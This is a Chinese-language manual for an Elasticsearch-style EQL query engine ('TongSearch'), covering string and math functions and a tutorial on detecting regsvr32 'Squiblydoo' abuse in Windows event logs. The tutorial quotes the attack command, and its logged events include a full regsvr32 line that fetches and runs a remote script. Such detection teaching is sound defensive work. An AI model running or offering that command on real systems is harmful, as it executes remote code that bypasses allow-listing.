<ip_address>	(必填，字符串或 null) IP 地址。支持 IPv4 和 IPv6 地址。 - 若为 “null”，则返回 “null”。 - 若使用字段作为参数，该参数只支持 IP 字段的数据类型。
<cidr_block>	(必填，string 或 null) 您想要搜索的 CIDR 块。 若为 “null”，则返回 “null”。

返回

boolean 或者 null。

示例

```
// source.address = "192.168.152.12"
cidrMatch(source.address, "192.168.0.0/16") // returns true

cidrMatch(source.address, "192.168.0.0/16", "10.0.0.0/8") // returns true

cidrMatch(source.address, "10.0.0.0/8")    // returns false

cidrMatch(source.address, "10.0.0.0/8", "10.128.0.0/9") // returns false

// null handling
cidrMatch(null, "10.0.0.0/8")              // returns null
cidrMatch(source.address, null)            // returns null
```

3.4. concat 函数

返回所提供值的串联字符串。

语法

```
concat(<value>[, <value>])
```

参数

参数	说明
<value>	要连接的值。 - 若任何参数为“null”，则该函数返回“null”。 - 若使用字段作为参数，则该参数不支持 text 字段数据类型。

返回

字符串或者 null。

示例

```
concat("process is ", "regsvr32.exe")    // returns "process is regsvr32.exe"

concat("regsvr32.exe", " ", 42)          // returns "regsvr32.exe 42"

concat("regsvr32.exe", " ", 42.5)        // returns "regsvr32.exe 42.5"

concat("regsvr32.exe", " ", true)        // returns "regsvr32.exe true"

concat("regsvr32.exe")                   // returns "regsvr32.exe"

// process.name = "regsvr32.exe"
concat(process.name, " ", 42)             // returns "regsvr32.exe 42"

concat(process.name, " ", 42.5)           // returns "regsvr32.exe 42.5"

concat("process is ", process.name)       // returns "process is regsvr32.exe"

concat(process.name, " ", true)           // returns "regsvr32.exe true"

concat(process.name)                      // returns "regsvr32.exe"

// process.arg_count = 4
concat(process.name, " ", process.arg_count) // returns "regsvr32.exe 4"
```

```
// null handling
concat(null, "regsvr32.exe")      // returns null
concat(process.name, null)        // returns null
concat(null)                      // returns null
```

3.5. divide 函数

返回所提供的被除数和除数的商。

语法

```
divide(<dividend>, <divisor>)
```

参数

参数	说明
<dividend>	(必填，整数、浮点数或 null)被除数。 - 若为 null，则返回 null。 - 若使用字段作为参数，则此参数仅支持数值字段数据类型。
<divisor>	(必需的，整数、浮点数或 null)被除的除数。 - 若为“null”，则返回“null”。这个值不能为“0”。 - 若使用字段作为参数，则此参数仅支持数值字段数据类型。

返回

整数、浮点数或 null。

示例

```
divide(4, 2)                // returns 2
divide(4, 3)                // returns 1
divide(4, 3.0)              // returns 1.333...
divide(4, 0.5)              // returns 8
divide(0.5, 4)              // returns 0.125
divide(0.5, 0.25)           // returns 2.0
divide(4, -2)               // returns -2
divide(-4, -2)              // returns 2
// process.args_count = 4
divide(process.args_count, 2) // returns 2
divide(process.args_count, 3) // returns 1
divide(process.args_count, 3.0) // returns 1.333...
divide(12, process.args_count) // returns 3
divide(process.args_count, 0.5) // returns 8
divide(0.5, process.args_count) // returns 0.125
```

```
// process.parent.args_count = 2
divide(process.args_count, process.parent.args_count) // returns 2
// null handling
divide(null, 4) // returns null
divide(4, null) // returns null
divide(null, process.args_count) // returns null
divide(process.args_count, null) // returns null
```

3.6. endsWith 函数

返回 true 源字符串是否以提供的子字符串结尾。匹配区分大小写。

语法

```
endsWith(<source>, <substring>)
```

参数

参数	说明
<source>	(必填，字符串或 null) 源字符串。 - 若为“null”，则函数返回“null”。 - 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。
<substring>	(必填，字符串或 null) 要搜索的子字符串。 - 若为“null”，则函数返回“null”。 - 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。

返回

布尔或者 null。

示例

```
endsWith("regsvr32.exe", ".exe") // returns true
endsWith("regsvr32.exe", ".dll") // returns false
endsWith("", "") // returns true
// file.name = "regsvr32.exe"
endsWith(file.name, ".exe") // returns true
endsWith(file.name, ".dll") // returns false
// file.extension = ".exe"
```



```
endsWith("regsvr32.exe", file.extension) // returns true
endsWith("ntdll.dll", file.name)         // returns false
// null handling
endsWith("regsvr32.exe", null)           // returns null
endsWith("", null)                       // returns null
endsWith(null, ".exe")                   // returns null
endsWith(null, null)                     // returns null
```

3.7. indexOf 函数

返回源字符串中提供的子字符串的第一个位置。匹配区分大小写。

若提供了可选的起始位置，则此函数返回在起始位置或起始位置之后第一次出现的子字符串。

语法

```
indexOf(<source>, <substring>[, <start_pos>])
```

参数

参数	说明
<source>	(必填，字符串或 null) 源字符串。 - 若为“null”，则函数返回“null”。 - 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。
<substring>	(必选，string 或 null)要查找的子字符串。 - 若此参数为“null”或者 <source> 字符串不包含此子字符串，则函数返回“null”。 - 若 <start_pos> 是正数，则空字符串("")返回 <start_pos>。否则，空字符串返回“0”。 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。
<start_pos>	(可选，整数或 null)匹配的起始位置。 这个函数不会返回这个位置之前的位置。默认值为“0”。 头寸的索引从“0”开始。负偏移量被认为是“0”。 若此参数为“null”或大于 <source> 字符串的长度，则函数返回“null”。

返回

整数或者 null。

示例

```
// url.domain = "subdomain.example.com"
indexOf(url.domain, ".")    // returns 9
indexOf(url.domain, ".", 9) // returns 9
indexOf(url.domain, ".", 10) // returns 17
indexOf(url.domain, ".", -6) // returns 9
// empty strings
indexOf("", "")            // returns 0
indexOf(url.domain, "")    // returns 0
indexOf(url.domain, "", 9) // returns 9
indexOf(url.domain, "", 10) // returns 10
indexOf(url.domain, "", -6) // returns 0
// missing substrings
indexOf(url.domain, "z")    // returns null
indexOf(url.domain, "z", 9) // returns null
// start position is higher than string length
indexOf(url.domain, ".", 30) // returns null
// null handling
indexOf(null, ".", 9)       // returns null
indexOf(url.domain, null, 9) // returns null
indexOf(url.domain, ".", null) // returns null
```

3.8. length 函数

返回提供的字符串的字符长度，包括空格和标点符号。

语法

```
length(<string>)
```

参数

参数	说明
<string>	(必填，string 或 null)返回字符串长度。 - 若为“null”，则返回“null”；空字符串返回“0”。 - 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。

返回

整数或者 null。

示例

```
length("explorer.exe")    // returns 12
length("start explorer.exe") // returns 18
length("")                // returns 0
length(null)              // returns null// process.name = "regsvr32.exe"
length(process.name)      // returns 12
```

3.9. modulo 函数

返回所提供的被除数和除数的除法的余数。

语法

```
modulo(<dividend>, <divisor>)
```

参数

参数	说明
<dividend>	（必填，整数或浮点数或 null）要除的股息。 - 若为“null”，则函数返回“null”。返回浮点数“0”。 - 若使用字段作为参数，则该参数仅支持 numeric 字段数据类型。
<divisor>	（必填，整数或浮点数或 null）要除的除数。 - 若为“null”，则函数返回“null”。返回浮点数“0”。该值不能为零 (0)。 - 若使用字段作为参数，则该参数仅支持 numeric 字段数据类型。

返回

整数、浮点数或 null。

示例

```
modulo(10, 6)                // returns 4
modulo(10, 5)                // returns 0
modulo(10, 0.5)              // returns 0
modulo(10, -6)               // returns 4
modulo(-10, -6)              // returns -4
// process.args_count = 10
modulo(process.args_count, 6) // returns 4
modulo(process.args_count, 5) // returns 0
modulo(106, process.args_count) // returns 6
modulo(process.args_count, -6) // returns 4
modulo(process.args_count, 0.5) // returns 0
// process.parent.args_count = 6
modulo(process.args_count, process.parent.args_count) // returns 4
```

```
// null handling
modulo(null, 5)           // returns null
modulo(7, null)           // returns null
modulo(null, process.args_count) // returns null
modulo(process.args_count, null) // returns null
```

3.10. multiply 函数

返回两个提供的因子的乘积。

语法

```
multiply(<factor, <factor>)
```

参数

参数	说明
<factor>	（必填，整数或浮点数或 null）要相乘的因子。需要两个因数。最多可以提供两个因数。 - 若为“null”，则函数返回“null”。 - 若使用字段作为参数，则该参数仅支持 numeric 字段数据类型。

返回

整数、浮点数或 null。

示例

```
multiply(2, 2)           // returns 4
multiply(0.5, 2)         // returns 1
multiply(0.25, 2)        // returns 0.5
multiply(-2, 2)          // returns -4
multiply(-2, -2)         // returns 4

// process.args_count = 2
multiply(process.args_count, 2) // returns 4
multiply(0.5, process.args_count) // returns 1
multiply(0.25, process.args_count) // returns 0.5

// process.parent.args_count = 3
multiply(process.args_count, process.parent.args_count) // returns 6

// null handling
multiply(null, 2)        // returns null
multiply(2, null)        // returns null
```

3.11. number 函数

将字符串转换为相应的整数或浮点数。

语法

```
number(<string>[, <base_num>])
```

参数

参数	说明
<string>	（必需，字符串或null）要转换为整数或浮点数的字符串。 若该值是字符串，则它必须是以下之一： - 整数的字符串表示形式（例如，"42"）。 - 浮点数的字符串表示形式（例如，"9.5"）。 - 若 <base_num> 指定了参数，则为包含基本表示法的整数文字的字符串。 例如，"0xDECAFBAD"以十六进制或 base 表示 16。 以 0x 开头的字符串会自动检测为十六进制，并使用默认 <base_num> 值 16。 - 和 + 之间没有间隙支撑。周围的空白将被忽略。""不支持空字符串（）。 若使用字段作为参数，则该参数仅支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。 - 若此参数为“null”，则函数返回“null”。
<base_num>	（可选，整数或 null）用于转换字符串的基数或基数。 - 若 <string> 以 ox 开头，则该参数默认为 16（十六进制）。否则，它默认为 base 10。 - 若此参数是显式的 null，则使用默认值。 - 不支持将字段作为参数。

返回

整数或浮点数或 null。

示例

```
number("1337")           // returns 1337
number("42.5")           // returns 42.5
number("deadbeef", 16)   // returns 3735928559
// integer literals beginning with "0x" are auto-detected as hexadecimal
number("0xdeadbeef")     // returns 3735928559
number("0xdeadbeef", 16) // returns 3735928559
```

```
// "+" and "-" are supported
number("+1337")      // returns 1337
number("-1337")      // returns -1337
// surrounding whitespace is ignored
number(" 1337 ")     // returns 1337
// process.pid = "1337"
number(process.pid)   // returns 1337
// null handling
number(null)          // returns null
number(null, 16)      // returns null
// strings beginning with "0x" are treated as hexadecimal (base 16),// even if the <base_num> is explicitly null.
number("0xdeadbeef", null) // returns 3735928559
// otherwise, strings are treated as decimal (base 10)// if the <base_num> is explicitly null.
number("1337", null)   // returns 1337
```

3.12. startsWith 函数

返回 true 源字符串是否以提供的子字符串开头。匹配区分大小写。

语法

```
startsWith(<source>, <substring>)
```

参数

参数	说明
<source>	(必填，字符串或 null) 源字符串。 - 若为“null”，则函数返回“null”。 - 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。
<substring>	(必填，字符串或 null) 要搜索的子字符串。 - 若为“null”，则函数返回“null”。 - 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。

返回

布尔值或 null。

示例

```
startsWith("regsvr32.exe", "regsvr32") // returns true
```

```

startsWith("regsvr32.exe", "explorer") // returns false
startsWith("", "") // returns true
// process.name = "regsvr32.exe"
startsWith(process.name, "regsvr32") // returns true
startsWith(process.name, "explorer") // returns false
// process.name = "regsvr32"
startsWith("regsvr32.exe", process.name) // returns true
startsWith("explorer.exe", process.name) // returns false
// null handling
startsWith("regsvr32.exe", null) // returns null
startsWith("", null) // returns null
startsWith(null, "regsvr32") // returns null
startsWith(null, null) // returns null
    
```

3.13. string 函数

将值转换为字符串。

语法

```
string(<value>)
```

参数

参数	说明
<value>	(必填) 要转换为字符串的值。 - 若为“null”，则函数返回“null”。 - 若使用字段作为参数，则该参数不支持 text 字段数据类型。

返回

字符串或 null。

示例

```

string(42) // returns "42" string(42.5) // returns "42.5" string("regsvr32.exe") // returns
"regsvr32.exe" string(true) // returns "true"
// null handling string(null) // returns null
    
```

3.14. stringContains 函数

返回 true 源字符串是否包含提供的子字符串。匹配区分大小写。

语法

```
stringContains(<source>, <substring>)
```

参数

参数	说明
<source>	(必填，字符串或 null) 要搜索的源字符串。 - 若为“null”，则函数返回“null”。 - 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。
<substring>	(必填，字符串或 null) 要搜索的子字符串。 - 若为“null”，则函数返回“null”。 - 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。

返回

布尔值或 null。

示例

```
// process.command_line = "start regsvr32.exe"
stringContains(process.command_line, "regsvr32") // returns true
stringContains(process.command_line, "start ") // returns true
stringContains(process.command_line, "explorer") // returns false
// process.name = "regsvr32.exe"
stringContains(command_line, process.name) // returns true
// empty strings
stringContains("", "") // returns false
stringContains(process.command_line, "") // returns false
// null handling
stringContains(null, "regsvr32") // returns null
stringContains(process.command_line, null) // returns null
```

3.15. substring 函数

从源字符串中提供的开始和结束位置提取子字符串。

若未提供结束位置，该函数将提取剩余的字符串。

语法

```
substring(<source>, <start_pos>[, <end_pos>])
```

参数

参数	说明
<source>	（必填，字符串）源字符串。
<start_pos>	（必填，整数）提取的起始位置。 若该位置高于字符串 <end_pos> 的位置或长度 <source>，则该函数返回空字符串。支持负偏移量。
<end_pos>	（可选，整数）提取的唯一结束位置。 若未提供此位置，则该函数返回剩余的字符串。支持负偏移量。

返回

字符串

示例

```

substring("start regsvr32.exe", 6)    // returns "regsvr32.exe"
substring("start regsvr32.exe", 0, 5) // returns "start"
substring("start regsvr32.exe", 6, 14) // returns "regsvr32"
substring("start regsvr32.exe", -4)   // returns ".exe"
substring("start regsvr32.exe", -4, -1) // returns ".ex"
    
```

3.16. subtract 函数

返回所提供的被减数和减数之间的差。

语法

```

subtract(<minuend>, <subtrahend>)
    
```

参数

参数	说明
<minuend>	（必填，整数或浮点数或 null）要减去的被减数。 若使用字段作为参数，则该参数仅支持 numeric 字段数据类型。
<subtrahend>	（可选，整数或浮点数或 null）要减去的减数。 若为“null”，则函数返回“null”。 若使用字段作为参数，则该参数仅支持 numeric 字段数据类型。

返回

整数、浮点数或 null。

示例

```
subtract(10, 2)           // returns 8
subtract(10.5, 0.5)       // returns 10
subtract(1, 0.2)          // returns 0.8
subtract(-2, 4)           // returns -8
subtract(-2, -4)          // returns 8

// process.args_count = 10
subtract(process.args_count, 6) // returns 4
subtract(process.args_count, 5) // returns 5
subtract(15, process.args_count) // returns 5
subtract(process.args_count, 0.5) // returns 9.5

// process.parent.args_count = 6
subtract(process.args_count, process.parent.args_count) // returns 4

// null handling
subtract(null, 2)           // returns null
subtract(2, null)           // returns null
```

3.17. wildcard 函数

返回 true 源字符串是否与一个或多个提供的通配符表达式匹配。匹配区分大小写。

语法

```
wildcard(<source>, <wildcard_exp>[, ...])
```

参数

参数	说明
<source>	(必填, 字符串) 源字符串。 若为“null”，则函数返回“null”。
<wildcard_exp>	(必填, 字符串) 用于匹配源字符串的通配符表达式。 若为“null”，则函数返回“null”。不支持将字段作为参数。

返回

布尔值

示例

```
// process.name = "regsvr32.exe"
wildcard(process.name, "*regsvr32*") // returns true
wildcard(process.name, "*regsvr32*", "*explorer*") // returns true
wildcard(process.name, "*explorer*") // returns false
wildcard(process.name, "*explorer*", "*scrobj*") // returns false
```

```
// empty strings
wildcard("", "*start*")           // returns false
wildcard("", "*")                 // returns true
wildcard("", "")                  // returns true
// null handling
wildcard(null, "*regsvr32*")      // returns null
wildcard(process.name, null)      // returns null
```

4. 管道 pipe 操作

TongSearch 支持以下 EQL 管道。

4.1. head

从最早的匹配项开始，返回最多指定数量的事件或序列。

语法

head <max>

参数

参数	说明
<max>	(必填，整数) 要返回的匹配事件或序列的最大数量。

示例

以下 EQL 查询最多返回三个最早的 powershell 命令。

```
process where process.name == "powershell.exe" | head 3
```

5. EQL 检测威胁

接下来，将使用一个具体的例子来展示如何使用 EQL 语言来进行威胁检测。

本示例教程说明了如何使用 EQL 检测安全威胁和其他可疑行为。在这种情况下，您需要负责检测 Windows 事件日志中的 regsvr32 滥用情况。

regsvr32.exe 是一个内置的命令行实用程序，用于在 Windows 中注册 .dll 库。

作为本机工具，regsvr32.exe 具有受信任的状态，从而使它可以绕过大多数允许列表软件和脚本阻止程序。有权访问用户命令行的攻击者可以使用 regsvr32.exe 通过 .dll 库运行恶意脚本，即使在其他情况下也不允许这些脚本运行。

regsvr32 滥用的一种常见变体是 Squfullydoo 攻击。在 Squfullydoo 攻击中，regsvr32.exe 命令使用 scrobj.dll 库注册并运行远程脚本。

这些命令通常，如下所示。

```
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
```

5.1. 准备数据

1. 使用 bulk API 为数据建立索引。

```
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh"
--data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
```

2. 使用 cat index API 验证数据是否已被索引。

```
GET /_cat/indices/my-index-000001?v=true&h=health,status,index,docs.count
```

若操作正确，则上面命令的响应将会显示 docs.count 为 150。

```
health status index      docs.count
yellow open  my-index-000001      150
```

5.2. 获取 regsvr32 事件的计数

首先，获取与 regsvr32.exe 进程关联的事件数。

```
GET /my-index-000001/_eq/search?filter_path=-hits.events ①
{
  "query": ""
  any where process.name == "regsvr32.exe" ②
  ""
  "size": 200 ③
}
```

- ① ?filter_path=-hits.events 从响应中排除 hits.events 属性。
此搜索仅用于获取事件计数，而不是匹配事件的列表。
- ② 匹配任何进程名称为 regsvr32.exe 的事件。
- ③ 最多返回 200 个匹配事件的匹配。

上面的查询的结果，如下所示。

```
{
  "is_partial": false,
  "is_running": false,
  "took": 2,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 143,
      "relation": "eq"
    }
  }
}
```

可以看到有 143 个结果。

5.3. 检查命令行参数

regsvr32.exe 进程与 143 个事件相关联。但是如何首先调用 regsvr32.exe，谁调用的？

regsvr32.exe 是一个命令行实用程序。将结果缩小到使用命令行的进程。

```
GET /my-index-000001/_eql/search
{
  "query": ""
  process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  ""
}
```

该查询将一个事件与创建的 event.type 相匹配，指示 regsvr32.exe 进程的开始。

根据事件的 process.command_line 值，regsvr32.exe 使用 scrobj.dll 注册了脚本 RegSvr32.sct.这符合 Squibledoo 攻击的行为。

```
{
  "is_partial": false,
  "is_running": false,
  "took": 1,
  "timed_out": false,
  "hits": {
```

```

"total" : {
  "value" : 1,
  "relation" : "eq"
},
"events" : [
{
  "_index" : "my-index-000001",
  "_id" : "QOgYTXcBt_FAPjaSlOk",
  "_source" : {
    "process" : {
      "parent" : {
        "name" : "cmd.exe",
        "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
        "executable" : "\"\"C:\\Windows\\System32\\cmd.exe\""
      },
      "name" : "regsvr32.exe",
      "pid" : 2012,
      "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
      "command_line" : "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
      "executable" : "\"\"C:\\Windows\\System32\\regsvr32.exe\"",
      "ppid" : 2652
    },
    "logon_id" : 217055,
    "@timestamp" : 131883573237130000,
    "event" : {
      "category" : "process",
      "type" : "creation"
    },
    "user" : {
      "full_name" : "bob",
      "domain" : "ART-DESKTOP",
      "id" : "\"\"ART-DESKTOP\\bob\""
    }
  }
}
]
}
}

```

5.4. 检测恶意脚本加载

检查 regsvr32.exe 以后是否加载 scrobj.dll 库。

```
GET /my-index-000001/_eq/search
```

```
{
  "query": ""
  library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  ""
}
```

该查询与事件匹配，确认已加载 scrobj.dll。

```
{
  "is_partial" : false,
  "is_running" : false,
  "took" : 1,
  "timed_out" : false,
  "hits" : {
    "total" : {
      "value" : 1,
      "relation" : "eq"
    },
    "events" : [
      {
        "_index" : "my-index-000001",
        "_id" : "YOgYTXcBt_FAPjaSltOI",
        "_source" : {
          "process" : {
            "name" : "regsvr32.exe",
            "pid" : 2012,
            "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable" : ""C:\Windows\System32\regsvr32.exe""
          },
          "dll" : {
            "path" : ""C:\Windows\System32\scrobj.dll"",
            "name" : "scrobj.dll"
          },
          "@timestamp" : 131883573237450016,
          "event" : {
            "category" : "library"
          }
        }
      }
    ]
  }
}
```

5.5. 确定成功的可能性

在许多情况下，攻击者使用恶意脚本连接到远程服务器或下载其他文件。使用 EQL 序列查询来检查以下一系列事件：

1. regsvr32.exe 进程。
2. 通过相同的进程加载 scrobj.dll 库。
3. 同一过程中的任何网络事件。

根据上一个响应中看到的命令行值，您可以期望找到一个匹配项，但此查询并非针对该特定命令而设计。取而代之的是，它寻找一种可疑行为的模式，这种模式足以检测出相似的威胁。

```
GET /my-index-000001/_eq/search
{
  "query": ""
  sequence by process.pid
    [process where process.name == "regsvr32.exe"]
    [library where dll.name == "scrobj.dll"]
    [network where true]
  ""
}
```

该查询与 sequence 匹配，表明攻击可能成功。

```
{
  "is_partial": false,
  "is_running": false,
  "took": 6,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
  },
  "sequences": [
    {
      "join_keys": [
        2012
      ],
      "events": [
        {
          "_index": "my-index-000001",
          "_id": "QOgYTXcBt_FAPjaSlOk",
          "_source": {
            "process": {
              "parent": {
                "name": "cmd.exe",
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",

```

```

        "executable" : ""C:\Windows\System32\cmd.exe""
    },
    "name" : "regsvr32.exe",
    "pid" : 2012,
    "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
    "command_line" : "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
    "executable" : ""C:\Windows\System32\regsvr32.exe"",
    "ppid" : 2652
},
"logon_id" : 217055,
"@timestamp" : 131883573237130000,
"event" : {
    "category" : "process",
    "type" : "creation"
},
"user" : {
    "full_name" : "bob",
    "domain" : "ART-DESKTOP",
    "id" : ""ART-DESKTOP\bob""
}
}
},
{
    "_index" : "my-index-000001",
    "_id" : "YOgYTXcBt_FAPjaSltOI",
    "_source" : {
        "process" : {
            "name" : "regsvr32.exe",
            "pid" : 2012,
            "entity_id" : "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable" : ""C:\Windows\System32\regsvr32.exe""
        },
        "dll" : {
            "path" : ""C:\Windows\System32\scrobj.dll"",
            "name" : "scrobj.dll"
        },
        "@timestamp" : 131883573237450016,
        "event" : {
            "category" : "library"
        }
    }
},
{
    "_index" : "my-index-000001",

```

```
{
  "_id": "zugYTXcBt_FAPjaSlOI",
  "_source": {
    "process": {
      "name": "regsvr32.exe",
      "pid": 2012,
      "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
      "executable": "\"\"C:\\Windows\\System32\\regsvr32.exe\"\""
    },
    "destination": {
      "address": "151.101.48.133",
      "port": "443"
    },
    "source": {
      "address": "192.168.162.134",
      "port": "50505"
    },
    "network": {
      "direction": "outbound",
      "protocol": "tcp"
    },
    "@timestamp": 131883573238680000,
    "event": {
      "category": "network"
    },
    "user": {
      "full_name": "bob",
      "domain": "ART-DESKTOP",
      "id": "\"\"ART-DESKTOP\\bob\"\""
    }
  }
}
```

从上面返回的三个事件中，我们可以看到他们发生的时间（@timestamp）：

```
131883573237130000
131883573237450016
131883573238680000
```

也就是说检查是严格地按照事件发生的顺序进行排序的，也就是一个 sequence 检查。

